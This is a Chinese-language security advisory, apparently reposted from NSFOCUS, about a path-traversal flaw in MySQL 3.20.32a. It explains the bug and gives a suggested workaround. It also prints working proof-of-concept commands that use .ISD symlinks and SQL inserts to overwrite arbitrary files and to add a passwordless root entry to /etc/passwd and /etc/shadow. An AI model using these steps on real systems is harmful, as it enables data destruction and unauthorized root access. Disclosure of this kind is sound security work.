慕之秋 :
受影響的系統:mysql-3.20.32a,其它版本可能也存在此問題
描述:
--------------------------------------------------------------------------------
任何可以用合法的使用者名和密碼登錄進mysql的使用者都可以利用mysqld來發起拒絕服
務攻擊或者獲得root權限,因為mysql視“../blah-blah”為合法的資料庫名。其每
張表格是用3個文件表示的:tablename.ISD,tablename.ISM和tablename.frm,
但是mysqld在檢查表格存在與否的時候僅僅檢查tablename.frm。
測試程序:
--------------------------------------------------------------------------------
警 告: 以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!
1、通過mysqld覆蓋任意文件從而導致拒絕服務:
$ cd /var/tmp
$ ln -s /some/file/you/wish/to/owerwrite qqq.ISD
$ mysql -u user -h localhost -p somepassword '../../tmp'
create table qqq(www int);
\q
$
上述例子將覆蓋/some/file/you/wish/to/overwrite。
2、通過mysqld獲得root權限:
$ cd /var/tmp
$ ln -s /etc/passwd gotcha.ISD
$ ln -s /etc/shadow make_me_r00t.ISD
$ mysql -u user -h localhost -p somepassword '../../tmp'
create table gotcha(qqq varchar(255));
create table make_me_r00t(qqq varchar(255));
insert into gotcha values('\
r00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\
');
insert into make_me_r00t values('\
r00t::1:0:99999:7:-1:-1:\
');
\q
$
--------------------------------------------------------------------------------
建議:
臨時解決辦法:
NSFOCUS建議您將mysql資料庫文件的屬主改為普通使用者,並以該普通使用者的身份運行mysqld。
廠商補丁: 暫無。
- Keywords : tablename, table, mysql, make_me_r00t, gotcha, create, varchar, values, somepassword, localhost, insert, 資料庫名, 資料來源, 解決辦法, 覆蓋, 表格, 系統, 為合法, 測試程序, 此問題
0 0
2009-01-21T09:16:47+0000